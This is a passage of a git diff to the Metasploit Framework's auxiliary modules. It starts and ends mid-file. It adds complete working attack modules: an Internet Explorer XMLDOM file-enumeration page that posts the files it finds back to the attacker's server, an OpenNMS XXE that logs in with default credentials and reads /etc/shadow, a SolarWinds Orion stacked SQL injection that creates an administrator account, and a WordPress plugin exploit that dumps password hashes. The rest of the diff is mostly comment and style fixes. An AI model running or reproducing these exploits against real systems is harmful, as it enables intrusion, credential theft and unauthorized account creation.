2014", # MSB. Used in the wild since Feb 2014 + 'DefaultTarget' => 0)) + + register_options( + [ + OptPath.new('FILES', [ true, 'A list of files to enumerate. One absolute file path per line.' ]) + ], self.class + ) + end + + def js + target_files = parse_target_files + js_target_files = target_files * ',' + + %Q| + #{js_ajax_post} + + var RESULTS = { + UNKNOWN : {value: 0, message: "Unknown!", color: "black", data: ""}, + BADBROWSER: {value: 1, message: "Browser is not supported. You need IE!", color: "black", data: ""}, + FILEFOUND : {value: 2, message: "File was found!", color: "green", data: ""}, + FOLDERFOUND : {value: 3, message: "Folder was found!", color: "green", data: ""}, + NOTFOUND : {value: 4, message: "Object was not found!", color: "red", data: ""}, + ALIVE : {value: 5, message: "Alive address!", color: "green", data: ""}, + MAYBEALIVE : {value: 6, message: "Maybe an alive address!", color: "blue", data: ""}, + DEAD : {value: 7, message: "Dead to me! Undetectable?", color: "red", data: ""}, + VALIDDRIVE : {value: 8, message: "Available Drive!", color: "green", data: ""}, + INVALIDDRIVE : {value: 9, message: "Unavailable Drive!", color: "red", data: ""} + }; + + + function validateXML(txt) { + var result = RESULTS.UNKNOWN; + + if (window.ActiveXObject) { + var xmlDoc = new ActiveXObject("Microsoft.XMLDOM"); + xmlDoc.async = true; + try { + xmlDoc.loadXML(txt); + if (xmlDoc.parseError.errorCode != 0) { + var err; + err = "Error Code: " + xmlDoc.parseError.errorCode + "\\n"; + err += "Error Reason: " + xmlDoc.parseError.reason; + err += "Error Line: " + xmlDoc.parseError.line; + + var errReason = xmlDoc.parseError.reason.toLowerCase(); + if (errReason.search('access is denied') >= 0) { + result = RESULTS.ALIVE; + } else if(errReason.search('the system cannot locate the object') >= 0 \|\| errReason.search('the system cannot find the file') >= 0 \|\| errReason.search('the network path was not found') >= 0) { + result = RESULTS.NOTFOUND; + } else if(errReason!=''){ + result = RESULTS.FILEFOUND; + } else{ + result = RESULTS.UNKNOWN; // No Error? Unknown! + }; + } else { + result = RESULTS.FILEFOUND; + } + } catch (e) { + result = RESULTS.FOLDERFOUND; + } + } else { + result = RESULTS.BADBROWSER; + } + result.data = ""; + + return result; + }; + + + function checkFiles(files) { + var foundFiles = new Array(); + // the first one is for all drives, the others are for the C drive only! + var preMagics = ["res://","\\\\\\\\localhost\\\\", "file:\\\\\\\\localhost\\\\", "file:\\\\"]; + // or any other irrelevant ADS! - we do not need this when we use Res:// + var postMagics = ["::$index_allocation"]; + + var templateString = '<?xml version="1.0" ?><\!DOCTYPE anything SYSTEM "$target$">'; + + for (var i = 0; i < files.length; i++) { + var filename = files[i]; + if (filename != '') { + filename = preMagics[0] + filename; // postMagics can be used too! + var result = validateXML(templateString.replace("$target$", filename)); + if (result == RESULTS.FOLDERFOUND \|\| result == RESULTS.ALIVE) result = RESULTS.UNKNOWN; + result.data = filename; + if (result.message.search(/file was found/i) > -1) { + var trimmedFilename = result.data; + for (var prem in preMagics) { trimmedFilename = trimmedFilename.replace(preMagics[prem], ''); } + for (var postm in postMagics) { trimmedFilename = trimmedFilename.replace(postMagics[postm], ''); } + foundFiles.push(trimmedFilename); + } + } + } + return foundFiles; + }; + + var foundFileString = ""; + + window.onload = function() { + var files = [#{js_target_files}]; + var foundFiles = checkFiles(files); + for (var file in foundFiles) { + foundFileString += foundFiles[file] + "\|"; + } + postInfo("#{get_resource}/receiver/", foundFileString, true); + }; + | + end + + def html + new_js = js_obfuscate(js) + %Q| + <html> + <head> + </head> + <body> + <script> + #{new_js} + </script> + </body> + </html> + | + end + + def run + exploit + end + + def parse_found_files(cli, req) + return if req.body.blank? + + files = req.body.split('|') + unless files.empty? + print_good("We have detected the following files:") + files.each do |f| + report_note(host: cli.peerhost, type: 'ie.filenames', data: f) + print_good(f) + end + end + end + + def parse_target_files + @files ||= lambda { + files = [] + buf = ::File.open(datastore['FILES'], 'rb') { |f| buf = f.read } + buf.each_line do |line| + if line =~ /^[a-z]:\\\\.+/i + files << "'#{line.strip}'" + end + end + + return files + }.call + end + + def is_target_suitable?(user_agent) + info = fingerprint_user_agent(user_agent) + if info[:ua_name] == HttpClients::IE && (info[:ua_ver] == '8.0' || info[:ua_ver] == '9.0') + return true + end + + false + end + + def on_request_uri(cli, req) + unless is_target_suitable?(req.headers['User-Agent']) + send_not_found(cli) + return + end + + case req.uri + when /receiver/ + parse_found_files(cli, req) + else + print_status("Sending HTML.") + send_response(cli, html) + end + end + +end diff --git a/modules/auxiliary/gather/mybb_db_fingerprint.rb b/modules/auxiliary/gather/mybb_db_fingerprint.rb index a2b28822d5..f9e6328ab0 100644 --- a/modules/auxiliary/gather/mybb_db_fingerprint.rb +++ b/modules/auxiliary/gather/mybb_db_fingerprint.rb @@ -46,7 +46,7 @@ class Metasploit3 < Msf::Auxiliary return Exploit::CheckCode::Unknown end - #Check PhP + # Check PhP php_version = res['X-Powered-By'] if php_version php_version = "#{php_version}" @@ -54,7 +54,7 @@ class Metasploit3 < Msf::Auxiliary php_version = "PHP version unknown" end - #Check Web-Server + # Check Web-Server web_server = res['Server'] if web_server web_server = "#{web_server}" @@ -62,7 +62,7 @@ class Metasploit3 < Msf::Auxiliary web_server = "unknown web server" end - #Check forum MyBB + # Check forum MyBB if res.body.match("MYBB") print_good("#{peer} - MyBB forum found running on #{web_server} / #{php_version}") return Exploit::CheckCode::Detected @@ -98,7 +98,7 @@ class Metasploit3 < Msf::Auxiliary return end - #Resolve response + # Resolve response if response.body.match(/SELECT COUNT\(\*\) AS users FROM mybb_users u WHERE 1=1 AND u.username NOT REGEXP\(\'\[a-zA-Z\]\'\)/) print_good("#{peer} - Running PostgreSQL Database") elsif response.body.match(/General error\: 1 no such function\: REGEXP/) diff --git a/modules/auxiliary/gather/opennms_xxe.rb b/modules/auxiliary/gather/opennms_xxe.rb new file mode 100644 index 0000000000..4f60c931a3 --- /dev/null +++ b/modules/auxiliary/gather/opennms_xxe.rb @@ -0,0 +1,104 @@ +require 'msf/core' +require 'openssl' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'OpenNMS Authenticated XXE', + 'Description' => %q{ + OpenNMS is vulnerable to XML External Entity Injection in the Real-Time Console interface. + Although this attack requires authentication, there are several factors that increase the + severity of this vulnerability. + + 1. OpenNMS runs with root privileges, taken from the OpenNMS FAQ: "The difficulty with the + core of OpenNMS is that these components need to run as root to be able to bind to low-numbered + ports or generate network traffic that requires root" + + 2. The user that you must authenticate as is the "rtc" user which has the default password of + "rtc". There is no mention of this user in the installation guides found here: + http://www.opennms.org/wiki/Tutorial_Installation, only mention that you should change the default + admin password of "admin" for security purposes. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Stephen Breen <breenmachine[at]gmail.com>', # discovery + 'Justin Kennedy <jstnkndy[at]gmail.com>', # metasploit module + ], + 'References' => [ + ['CVE', '2015-0975'] + ], + 'DisclosureDate' => 'Jan 08 2015' + )) + + register_options( + [ + Opt::RPORT(8980), + OptBool.new('SSL', [false, 'Use SSL', false]), + OptString.new('TARGETURI', [ true, "The base path to the OpenNMS application", '/opennms/']), + OptString.new('FILEPATH', [true, "The file or directory to read on the server", "/etc/shadow"]), + OptString.new('USERNAME', [true, "The username to authenticate with", "rtc"]), + OptString.new('PASSWORD', [true, "The password to authenticate with", "rtc"]) + ], self.class) + + end + + def run + + print_status("Logging in to grab a valid session cookie") + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'j_spring_security_check'), + 'vars_post' => { + 'j_username' => datastore['USERNAME'], + 'j_password' => datastore['PASSWORD'], + 'Login'=> 'Login' + }, + }) + + if res.nil? + fail_with(Failure::Unreachable, "No response from POST request") + elsif res.code != 302 + fail_with(Failure::UnexpectedReply, "Non-302 response from POST request") + end + + unless res.headers["Location"].include? "index.jsp" + fail_with(Failure::NoAccess, 'Authentication failed') + end + + cookie = res.get_cookies + + print_status("Got cookie, going for the goods") + + rand_doctype = Rex::Text.rand_text_alpha(rand(1..10)) + rand_entity1 = Rex::Text.rand_text_alpha(rand(1..10)) + rand_entity2 = Rex::Text.rand_text_alpha(rand(1..10)) + delimiter = SecureRandom.uuid + + xxe = %Q^<?xml version="1.0" encoding="ISO-8859-1"?> + <!DOCTYPE #{rand_doctype} [ + <!ELEMENT #{rand_entity1} ANY > + <!ENTITY #{rand_entity2} SYSTEM "file://#{datastore["FILEPATH"]}" > + ]><#{rand_entity1}>#{delimiter}&#{rand_entity2};#{delimiter}</#{rand_entity1}>^ + + res = send_request_raw({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'rtc', 'post/'), + 'data' => xxe, + 'cookie' => cookie + }) + + # extract filepath data from response + if res && res.code == 400 && res.body =~ /title.+#{delimiter}(.+)#{delimiter}.+title/m + result = $1 + print_good("#{result}") + else + fail_with(Failure::Unknown, 'Error fetching file, try another') + end + + end +end + diff --git a/modules/auxiliary/gather/search_email_collector.rb b/modules/auxiliary/gather/search_email_collector.rb index 5fbbff3ec7..70e60de0ec 100644 --- a/modules/auxiliary/gather/search_email_collector.rb +++ b/modules/auxiliary/gather/search_email_collector.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Auxiliary end - #Search google.com for email's of target domain + # Search google.com for email's of target domain def search_google(targetdom) print_status("Searching Google for email addresses from #{targetdom}") response = "" @@ -58,7 +58,7 @@ class Metasploit3 < Msf::Auxiliary return emails.uniq end - #Search Yahoo.com for email's of target domain + # Search Yahoo.com for email's of target domain def search_yahoo(targetdom) print_status("Searching Yahoo for email addresses from #{targetdom}") response = "" @@ -79,7 +79,7 @@ class Metasploit3 < Msf::Auxiliary return emails.uniq end - #Search Bing.com for email's of target domain + # Search Bing.com for email's of target domain def search_bing(targetdom) print_status("Searching Bing email addresses from #{targetdom}") response = "" @@ -103,7 +103,7 @@ class Metasploit3 < Msf::Auxiliary return emails.uniq end - #for writing file with all email's found + # for writing file with all email's found def write_output(data) print_status("Writing email address list to #{datastore['OUTFILE']}...") ::File.open(datastore['OUTFILE'], "ab") do |fd| diff --git a/modules/auxiliary/gather/shodan_search.rb b/modules/auxiliary/gather/shodan_search.rb index 3691e7917f..f508510cbd 100644 --- a/modules/auxiliary/gather/shodan_search.rb +++ b/modules/auxiliary/gather/shodan_search.rb @@ -84,19 +84,22 @@ class Metasploit4 < Msf::Auxiliary end # Check to see if api.shodan.io resolves properly - def shodan_rhost - @res = Net::DNS::Resolver.new - dns_query = @res.query('api.shodan.io', 'A') - if dns_query.answer.length == 0 - print_error('Could not resolve api.shodan.io') - raise ::Rex::ConnectError('api.shodan.io', '443') + def shodan_resolvable? + begin + Rex::Socket.resolv_to_dotted("api.shodan.io") + rescue RuntimeError, SocketError + return false end - dns_query.answer[0].to_s.split(/[\s,]+/)[4] + + true end def run # check to ensure api.shodan.io is resolvable - shodan_rhost + unless shodan_resolvable? + print_error("Unable to resolve api.shodan.io") + return + end # create our Shodan request parameters query = datastore['QUERY'] diff --git a/modules/auxiliary/gather/solarwinds_orion_sqli.rb b/modules/auxiliary/gather/solarwinds_orion_sqli.rb new file mode 100644 index 0000000000..5ffa308219 --- /dev/null +++ b/modules/auxiliary/gather/solarwinds_orion_sqli.rb @@ -0,0 +1,100 @@ +## +# This module requires Metasploit: http//:metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' + + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Solarwinds Orion AccountManagement.asmx GetAccounts Admin Creation', + 'Description' => %q{ + This module exploits a stacked SQL injection in order to add an administrator user to the + SolarWinds Orion database. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Brandon Perry' #discovery/metasploit module + ], + 'References' => + [ + ['CVE', '2014-9566'] + ], + 'DisclosureDate' => 'Feb 24 2015' + )) + + register_options( + [ + Opt::RPORT(8787), + OptString.new('TARGETURI', [ true, "Base Orion directory path", '/']), + OptString.new('USERNAME', [true, 'The username to authenticate as', 'Guest']), + OptString.new('PASSWORD', [false, 'The password to authenticate with', '']) + ], self.class) + + end + + def login (username,password) + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'Orion', 'Login.aspx') + }) + + viewstate = $1 if res.body =~ /id="__VIEWSTATE" value="(.*)" \/>/ + + cookie = res.get_cookies + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'Orion', 'Login.aspx'), + 'method' => 'POST', + 'vars_post' => { + '__EVENTTARGET' => '', + '__EVENTARGUMENT' => '', + '__VIEWSTATE' => viewstate, + 'ctl00$BodyContent$Username' => username, + 'ctl00$BodyContent$Password' => password + }, + 'cookie' => cookie + }) + + if res.nil? + fail_with("Server didn't respond in an expected way") + end + + if res.code == 200 + fail_with("Authentication failed with username #{username}") + end + + return cookie + ';' + res.get_cookies + end + + def run + cookie = login(datastore['USERNAME'], datastore['PASSWORD']) + username = Rex::Text.rand_text_alpha(8) + + print_status("Logged in as #{datastore['USERNAME']}, sending payload to create #{username} admin user.") + + send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'Orion', 'Services', 'AccountManagement.asmx' '/GetAccounts'), + 'method' => 'POST', + 'vars_get' => { + 'sort' => 'Accounts.AccountID', #also vulnerable + 'dir' => "ASC;insert into accounts values ('#{username}', '127-510823478-74417-8', '/+PA4Zck3arkLA7iwWIugnAEoq4ocRsYjF7lzgQWvJc+pepPz2a5z/L1Pz3c366Y/CasJIa7enKFDPJCWNiKRg==', 'Feb 1 2100 12:00AM', 'Y', '#{username}', 1, '', '', 1, -1, 8, -1, 4, 0, 0, 0, 0, 0, 0, 'Y', 'Y', 'Y', 'Y', 'Y', '', '', 0, 0, 0, 'N', 'Y', '', 1, '', 0, '');" + }, + 'data' => '{"accountId":""}', + 'cookie' => cookie, + 'ctype' => 'application/json' + }) + + login(username, '') + + print_good("The injection worked, log in with #{username} and a blank password") + end +end + diff --git a/modules/auxiliary/gather/windows_deployment_services_shares.rb b/modules/auxiliary/gather/windows_deployment_services_shares.rb index 1a45f7faa9..6d25d5d1dd 100644 --- a/modules/auxiliary/gather/windows_deployment_services_shares.rb +++ b/modules/auxiliary/gather/windows_deployment_services_shares.rb @@ -9,8 +9,8 @@ require 'rex/parser/unattend' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::SMB - include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::Client + include Msf::Exploit::Remote::SMB::Client::Authenticated include Msf::Exploit::Remote::DCERPC include Msf::Auxiliary::Report diff --git a/modules/auxiliary/gather/wp_ultimate_csv_importer_user_extract.rb b/modules/auxiliary/gather/wp_ultimate_csv_importer_user_extract.rb new file mode 100644 index 0000000000..88c41fee0c --- /dev/null +++ b/modules/auxiliary/gather/wp_ultimate_csv_importer_user_extract.rb @@ -0,0 +1,110 @@ +## +# This module requires Metasploit: http://www.metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'csv' + +class Metasploit3 < Msf::Auxiliary + include Msf::HTTP::Wordpress + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'WordPress Ultimate CSV Importer User Table Extract', + 'Description' => %q{ + Due to lack of verification of a visitor's permissions, it is possible + to execute the 'export.php' script included in the default installation of the + Ultimate CSV Importer plugin and retrieve the full contents of the user table + in the WordPress installation. This results in full disclosure of usernames, + hashed passwords and email addresses for all users. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'James Hooker', # Disclosure + 'Rob Carr <rob[at]rastating.com>' # Metasploit module + ], + 'References' => + [ + ['WPVDB', '7778'] + ], + 'DisclosureDate' => 'Feb 02 2015' + )) + end + + def plugin_url + normalize_uri(wordpress_url_plugins, 'wp-ultimate-csv-importer') + end + + def exporter_url + normalize_uri(plugin_url, 'modules', 'export', 'templates', 'export.php') + end + + def check + check_plugin_version_from_readme('wp-ultimate-csv-importer', '3.6.7' '3.6.0') + end + + def process_row(row) + if row[:user_login] && row[:user_pass] + print_good("#{peer} - Found credential: #{row[:user_login]}:#{row[:user_pass]}") + + credential_data = { + origin_type: :service, + module_fullname: fullname, + private_type: :nonreplayable_hash, + address: ::Rex::Socket.getaddress(rhost, true), + port: rport, + protocol: 'tcp', + service_name: ssl ? 'https' : 'http', + username: row[:user_login], + private_data: row[:user_pass], + workspace_id: myworkspace_id + } + + credential_core = create_credential(credential_data) + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + login_data.merge!(credential_data) + create_credential_login(login_data) + end + end + + def parse_csv(body, delimiter) + begin + CSV::Converters[:blank_to_nil] = lambda do |field| + field && field.empty? ? nil : field + end + csv = CSV.new(body, :col_sep => delimiter, :headers => true, :header_converters => :symbol, :converters => [:all, :blank_to_nil]) + csv.to_a.map { |row| process_row(row) } + return true + rescue + return false + end + end + + def run + print_status("#{peer} - Requesting CSV extract...") + res = send_request_cgi( + 'method' => 'POST', + 'uri' => exporter_url, + 'vars_post' => { 'export' => 'users' } + ) + fail_with(Failure::Unreachable, 'No response from the target') if res.nil? + fail_with(Failure::UnexpectedReply, "Server responded with status code #{res.code}") if res.code != 200 + + print_status("#{peer} - Parsing response...") + unless parse_csv(res.body, ',') + unless parse_csv(res.body, ';') + fail_with("#{peer} - Failed to parse response, the CSV was invalid") + end + end + + store_path = store_loot('wordpress.users.export', 'csv', datastore['RHOST'], res.body, 'users_export.csv', 'WordPress User Table Extract') + print_good("#{peer} - CSV saved to #{store_path}") + end +end diff --git a/modules/auxiliary/gather/xerox_pwd_extract.rb b/modules/auxiliary/gather/xerox_pwd_extract.rb index 7ba3ac620c..36920371f8 100644 --- a/modules/auxiliary/gather/xerox_pwd_extract.rb +++ b/modules/auxiliary/gather/xerox_pwd_extract.rb @@ -64,7 +64,7 @@ class Metasploit3 < Msf::Auxiliary end end - #Trigger firmware bootstrap write out password data to URL root + # Trigger firmware bootstrap write out password data to URL root def write print_status("#{rhost}:#{jport} - Sending print job") create_print_job = '%%XRXbegin' + "\x0a" diff --git a/modules/auxiliary/scanner/acpp/login.rb b/modules/auxiliary/scanner/acpp/login.rb new file mode 100644 index 0000000000..57677b9661 --- /dev/null +++ b/modules/auxiliary/scanner/acpp/login.rb @@ -0,0 +1,105 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/proto/acpp' +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/acpp' + +class Metasploit3 < Msf::Auxiliary + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + include Msf::Auxiliary::AuthBrute + + def initialize + super( + 'Name' => 'Apple Airport ACPP Authentication Scanner', + 'Description' => %q( + This module attempts to authenticate to an Apple Airport using its + proprietary and largely undocumented protocol known only as ACPP. + ), + 'Author' => + [ + 'Jon Hart <jon_hart[at]rapid7.com>' + ], + 'References' => + [ + %w(CVE 2003-0270) # Fixed XOR key used to encrypt password + ], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(Rex::Proto::ACPP::DEFAULT_PORT) + ], self.class) + + deregister_options( + # there is no username, so remove all of these options + 'DB_ALL_USERS', + 'DB_ALL_CREDS', + 'USERNAME', + 'USERPASS_FILE', + 'USER_FILE', + 'USER_AS_PASS' + ) + + register_autofilter_ports([Rex::Proto::ACPP::DEFAULT_PORT]) + end + + def run_host(ip) + vprint_status("#{ip}:#{rport} - Starting ACPP login sweep") + + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + username: '<BLANK>' + ) + + cred_collection = prepend_db_passwords(cred_collection) + + scanner = Metasploit::Framework::LoginScanner::ACPP.new( + host: ip, + port: rport, + proxies: datastore['PROXIES'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: datastore['ConnectTimeout'], + max_send_size: datastore['TCP::max_send_size'], + send_delay: datastore['TCP::send_delay'], + framework: framework, + framework_module: self, + ) + + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: fullname, + workspace_id: myworkspace_id + ) + password = result.credential.private + if result.success? + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + print_good("#{ip}:#{rport} - ACPP LOGIN SUCCESSFUL: #{password}") + report_vuln( + host: ip, + port: rport, + proto: 'tcp', + name: 'Fixed XOR key used to encrypt passwords', + info: "Successful authentication with '#{password}'", + refs: references + ) + else + invalidate_login(credential_data) + vprint_error("#{ip}:#{rport} - ACPP LOGIN FAILED: #{password} (#{result.status}: #{result.proof})") + end + end + end +end diff --git a/modules/auxiliary/scanner/afp/afp_login.rb b/modules/auxiliary/scanner/afp/afp_login.rb index e3e6204b89..69e229bede 100644 --- a/modules/auxiliary/scanner/afp/afp_login.rb +++ b/modules/auxiliary/scanner/afp/afp_login.rb @@ -23,8 +23,8 @@ class Metasploit3 < Msf::Auxiliary }, 'References' => [ - [ 'URL', 'https://developer.apple.com/library/mac/#documentation/Networking/Reference/AFP_Reference/Reference/reference.html' ], - [ 'URL', 'https://developer.apple.com/library/mac/#documentation/networking/conceptual/afp/AFPSecurity/AFPSecurity.html' ] + [ 'URL', 'https://developer.apple.com/library/mac/documentation/Networking/Reference/AFP_Reference/Reference/reference.html' ], + [ 'URL', 'https://developer.apple.com/library/mac/documentation/networking/conceptual/afp/AFPSecurity/AFPSecurity.html' ] ], 'Author' => [ 'Gregory Man <man.gregory[at]gmail.com>' ], @@ -67,6 +67,8 @@ class Metasploit3 < Msf::Auxiliary connection_timeout: 30, max_send_size: datastore['TCP::max_send_size'], send_delay: datastore['TCP::send_delay'], + framework: framework, + framework_module: self, ) scanner.scan! do |result| diff --git a/modules/auxiliary/scanner/afp/afp_server_info.rb b/modules/auxiliary/scanner/afp/afp_server_info.rb index 8f6692fd6f..5a7c4edc0c 100644 --- a/modules/auxiliary/scanner/afp/afp_server_info.rb +++ b/modules/auxiliary/scanner/afp/afp_server_info.rb @@ -21,7 +21,7 @@ class Metasploit3 < Msf::Auxiliary }, 'References' => [ - [ 'URL', 'https://developer.apple.com/library/mac/#documentation/Networking/Reference/AFP_Reference/Reference/reference.html' ] + [ 'URL', 'https://developer.apple.com/library/mac/documentation/Networking/Reference/AFP_Reference/Reference/reference.html' ] ], 'Author' => [ 'Gregory Man <man.gregory[at]gmail.com>' ], 'License' => MSF_LICENSE diff --git a/modules/auxiliary/scanner/backdoor/energizer_duo_detect.rb b/modules/auxiliary/scanner/backdoor/energizer_duo_detect.rb index 099cf46cbe..d48bc8a561 100644 --- a/modules/auxiliary/scanner/backdoor/energizer_duo_detect.rb +++ b/modules/auxiliary/scanner/backdoor/energizer_duo_detect.rb @@ -98,7 +98,7 @@ class Metasploit3 < Msf::Auxiliary sock.put(trojan_command(:nop)) print_status("#{ip}:#{rport} FOUND: #{files.inspect}") - ## Add Vulnerability and Report + # Add Vulnerability and Report report_vuln({ :host => ip, :name => "Energizer DUO USB Battery Charger Software Arucer.dll Trojaned Distribution", diff --git a/modules/auxiliary/scanner/db2/db2_auth.rb b/modules/auxiliary/scanner/db2/db2_auth.rb index 88bfa1950c..4fb8dfee72 100644 --- a/modules/auxiliary/scanner/db2/db2_auth.rb +++ b/modules/auxiliary/scanner/db2/db2_auth.rb @@ -65,6 +65,8 @@ class Metasploit3 < Msf::Auxiliary connection_timeout: 30, max_send_size: datastore['TCP::max_send_size'], send_delay: datastore['TCP::send_delay'], + framework: framework, + framework_module: self, ) scanner.scan! do |result| diff --git a/modules/auxiliary/scanner/db2/discovery.rb b/modules/auxiliary/scanner/db2/discovery.rb index b7f4f5dfbd..12c8692303 100644 --- a/modules/auxiliary/scanner/db2/discovery.rb +++ b/modules/auxiliary/scanner/db2/discovery.rb @@ -31,9 +31,7 @@ class Metasploit3 < Msf::Auxiliary begin connect_udp - udp_sock.put(pkt) - res = udp_sock.read(1024).split(/\x00/) if (res) diff --git a/modules/auxiliary/scanner/dcerpc/management.rb b/modules/auxiliary/scanner/dcerpc/management.rb index b68723d582..753450426a 100644 --- a/modules/auxiliary/scanner/dcerpc/management.rb +++ b/modules/auxiliary/scanner/dcerpc/management.rb @@ -71,7 +71,7 @@ class Metasploit3 < Msf::Auxiliary #reportdata << "name: #{princ.unpack("H*")[0]}" end - ## Add Report + # Add Report report_note( :host => ip, :proto => 'tcp', diff --git a/modules/auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement.rb b/modules/auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement.rb index 1cfac0e01e..08e6967dfe 100644 --- a/modules/auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement.rb +++ b/modules/auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement.rb @@ -149,7 +149,7 @@ class Metasploit3 < Msf::Auxiliary end def run - # Start caputure + # Start capture open_pcap({'FILTER' => "icmp6"}) @netifaces = true diff --git a/modules/auxiliary/scanner/dns/dns_amp.rb b/modules/auxiliary/scanner/dns/dns_amp.rb index 6d6062d265..4b448dca11 100644 --- a/modules/auxiliary/scanner/dns/dns_amp.rb +++ b/modules/auxiliary/scanner/dns/dns_amp.rb @@ -86,7 +86,7 @@ class Metasploit3 < Msf::Auxiliary print_status("Sending DNS probes to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)") # Standard packet is 60 bytes. Add the domain size to this sendpacketsize = 60 + datastore['DOMAINNAME'].length - print_status("Sending #{sendpacketsize} bytes to each host using the IN ANY #{datastore['DOMAINNAME']} request") + print_status("Sending #{sendpacketsize} bytes to each host using the IN #{datastore['QUERYTYPE']} #{datastore['DOMAINNAME']} request") @results = {} end @@ -112,8 +112,10 @@ class Metasploit3 < Msf::Auxiliary # Response Code rcode = flags[12] + flags[13] + flags[14] + flags[15] - # If these flags are set, we get a valid response and recursion is available - if qr == "1" and ra == "1" and rcode == "0000" + # If these flags are set, we get a valid response + # don't test recursion available if correct answer received + # at least the case with bind and "additional-from-cache no" or version < 9.5+ + if qr == "1" and rcode == "0000" sendlength = 60 + datastore['DOMAINNAME'].length receivelength = 42 + data.length amp = receivelength / sendlength.to_f diff --git a/modules/auxiliary/scanner/ftp/ftp_login.rb b/modules/auxiliary/scanner/ftp/ftp_login.rb index c3481d7fdd..b5a5bc3352 100644 --- a/modules/auxiliary/scanner/ftp/ftp_login.rb +++ b/modules/auxiliary/scanner/ftp/ftp_login.rb @@ -78,7 +78,9 @@ class Metasploit3 < Msf::Auxiliary bruteforce_speed: datastore['BRUTEFORCE_SPEED'], max_send_size: datastore['TCP::max_send_size'], send_delay: datastore['TCP::send_delay'], - connection_timeout: 30 + connection_timeout: 30, + framework: framework, + framework_module: self, ) scanner.scan! do |result| diff --git a/modules/auxiliary/scanner/http/a10networks_ax_directory_traversal.rb b/modules/auxiliary/scanner/http/a10networks_ax_directory_traversal.rb index ca9bd498f5..6f80a86707 100644 --- a/modules/auxiliary/scanner/http/a10networks_ax_directory_traversal.rb +++ b/modules/auxiliary/scanner/http/a10networks_ax_directory_traversal.rb @@ -33,7 +33,7 @@ class Metasploit3 < Msf::Auxiliary ], 'Author' => [ - 'xistence' #Vulnerability discovery and Metasploit module + 'xistence' # Vulnerability discovery and Metasploit module ], 'License' => MSF_LICENSE, 'DisclosureDate' => "Jan 28 2014" diff --git a/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb b/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb index 9b8200b645..ab1cdd947e 100644 --- a/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb +++ b/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb @@ -19,7 +19,7 @@ class Metasploit4 < Msf::Auxiliary 'Misfortune Cookie' vulnerability which affects Allegro Software Rompager versions before 4.34 and can allow attackers to authenticate to the HTTP service as an administrator without providing valid - credentials, however more specifics are not yet known. + credentials. ), 'Author' => [ 'Jon Hart <jon_hart[at]rapid7.com>', # metasploit module @@ -27,38 +27,165 @@ class Metasploit4 < Msf::Auxiliary ], 'References' => [ ['CVE', '2014-9222'], - ['URL', 'http://mis.fortunecook.ie'] + ['URL', 'http://mis.fortunecook.ie'], + ['URL', 'http://mis.fortunecook.ie/misfortune-cookie-suspected-vulnerable.pdf'], # list of likely vulnerable devices + ['URL', 'http://mis.fortunecook.ie/too-many-cooks-exploiting-tr069_tal-oppenheim_31c3.pdf'] # 31C3 presentation with POC ], 'DisclosureDate' => 'Dec 17 2014', 'License' => MSF_LICENSE )) - register_options([ - OptString.new('TARGETURI', [true, 'Path to fingerprint RomPager from', '/Allegro']) - ], self.class) + register_options( + [ + OptString.new('TARGETURI', [true, 'URI to test', '/']) + ], Exploit::Remote::HttpClient + ) + + register_advanced_options( + [ + OptString.new('CANARY_URI', [false, 'Try overwriting the requested URI with this canary value (empty for random)']), + OptString.new('STATUS_CODES_REGEX', [true, 'Ensure that canary pages and probe responses have status codes that match this regex', '^40[134]$']) + ], self.class + ) end - def check_host(ip) - res = send_request_cgi('uri' => normalize_uri(target_uri.path.to_s), 'method' => 'GET') - fp = http_fingerprint(response: res) - if /RomPager\/(?<version>[\d\.]+)$/ =~ fp - if Gem::Version.new(version) < Gem::Version.new('4.34') - report_vuln( - host: ip, - port: rport, - name: name, - refs: references - ) - return Exploit::CheckCode::Appears - else - return Exploit::CheckCode::Detected - end - else - return Exploit::CheckCode::Safe + def check_host(_ip) + begin + test_misfortune + ensure + disconnect end end def run_host(ip) - print_good("#{peer} appears to be vulnerable") if check_host(ip) == 